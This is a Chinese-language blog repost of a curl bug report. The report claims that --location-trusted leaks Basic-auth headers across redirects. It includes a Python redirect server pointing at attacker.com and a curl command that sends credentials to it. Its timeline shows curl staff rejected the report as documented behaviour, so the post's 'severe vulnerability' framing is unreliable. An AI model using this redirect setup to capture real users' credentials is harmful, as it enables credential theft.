Curl --location-trusted 选项跨域泄露认证头漏洞分析

本文详细分析了Curl工具中--location-trusted选项的安全漏洞,该漏洞会导致Authorization头在跨域重定向时被泄露,攻击者可窃取Basic认证凭证,影响自动化脚本和CI/CD管道安全。

Authorization Header Leak via –location-trusted in Curl

漏洞概述

Curl的–location-trusted选项在跟随跨域重定向时会转发Authorization头,将Basic认证凭据暴露给不可信的主机。

如果攻击者控制重定向端点,他们可以从任何使用Basic认证的请求中窃取凭据。 与出于安全考虑会剥离认证头的–location选项不同,–location-trusted会在没有任何警告的情况下转发这些头信息,导致意外的凭据泄露。 这违反了认证最佳实践,并引入了严重的安全风险。

受影响版本

运行:

1
curl -V

示例输出:

1
2
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.10 zlib/1.3.1
Release-Date: 2024-01-15

测试环境:

  • Linux (Ubuntu 22.04)
  • macOS 14 Sonoma
  • Windows 11 (WSL2)

复现步骤

1. 启动恶意重定向服务器

在攻击者控制的机器上运行此Python脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from http.server import BaseHTTPRequestHandler, HTTPServer

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", "http://attacker.com")
        self.end_headers()

server = HTTPServer(("0.0.0.0", 8080), RedirectHandler)
server.serve_forever()

2. 使用认证和–location-trusted运行Curl

执行:

1
curl -v -L --user "admin:password" --location-trusted http://localhost:8080

预期行为

  • Curl在重定向到不同域时应剥离Authorization头

实际行为

  • Curl将Authorization头发送到attacker.com,暴露凭据

支持材料/参考

  • Curl调试日志(-v --trace curl_trace.txt)- 显示泄露的Authorization头
  • 数据包捕获(tcpdump/Wireshark)- 确认凭据被跨域发送
  • PoC Python代码(redirect_poc.py)- 在本地复现漏洞

影响:攻击者可实现的目标

凭据暴露:

  • 如果攻击者控制重定向,任何Basic认证凭据(API密钥、管理员密码、云服务令牌)都会被泄露

权限提升:

  • 攻击者可以获得对管理界面、API或云服务的未授权访问,导致完全的系统妥协

DevOps和CI/CD管道风险:

  • 使用curl的自动化脚本和DevOps管道可能会无意中将凭据暴露给不可信的重定向目标

建议修复

受影响用户的即时解决方案

  • 涉及认证时避免使用--location-trusted
  • 通过解析curl -i输出来手动跟随重定向
  • 尽可能使用API令牌而不是Basic认证

Curl开发者的永久修复

  • 自动剥离跨域重定向的Authorization头
  • 更新文档以警告用户--location-trusted的风险
  • 在转发认证凭据前显示安全警告

最终思考

此漏洞将敏感凭据暴露给不可信的第三方,可能导致凭据窃取、账户接管和安全漏洞。修复此问题将有助于保护自动化脚本、CI/CD管道和安全意识强的开发者免于无意中泄露凭据。

影响详情

Curl中的location-trusted选项在跟随跨域重定向时会转发Authorization头,将Basic认证凭据暴露给不可信的主机。

这种行为造成了安全风险,攻击者控制重定向端点可以从任何使用Basic认证的请求中窃取凭据。与出于安全原因剥离认证头的–location不同,–location-trusted会在没有任何警告的情况下转发这些头信息,导致意外的凭据泄露。

此问题违反了认证最佳实践,可能导致凭据窃取、权限提升和安全漏洞,特别影响依赖Curl的DevOps管道、自动化脚本和CI/CD环境。

推荐的修复方法是自动剥离跨域重定向的Authorization头,警告用户–location-trusted的风险,并更新文档以反映此问题。

时间线

  • 2025年1月18日 4:07 UTC:voggerloops向curl提交报告
  • 2025年1月18日 5:49 UTC:jimfuller(curl员工)发表评论,认为这是文档中明确描述的行为
  • 2025年1月18日 7:44 UTC:voggerloops关闭报告并将状态改为"不适用"
  • 2025年7月1日 14:11 UTC:bagder(curl员工)请求披露此报告
  • 15天前:bagder披露此报告

报告详情

  • 报告ID:#2946924
  • 严重程度:高(7 ~ 8.9)
  • 披露时间:2025年7月3日 6:43 UTC
  • 弱点类型:通过发送数据的信息暴露
  • CVE ID:无
  • 赏金:无
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计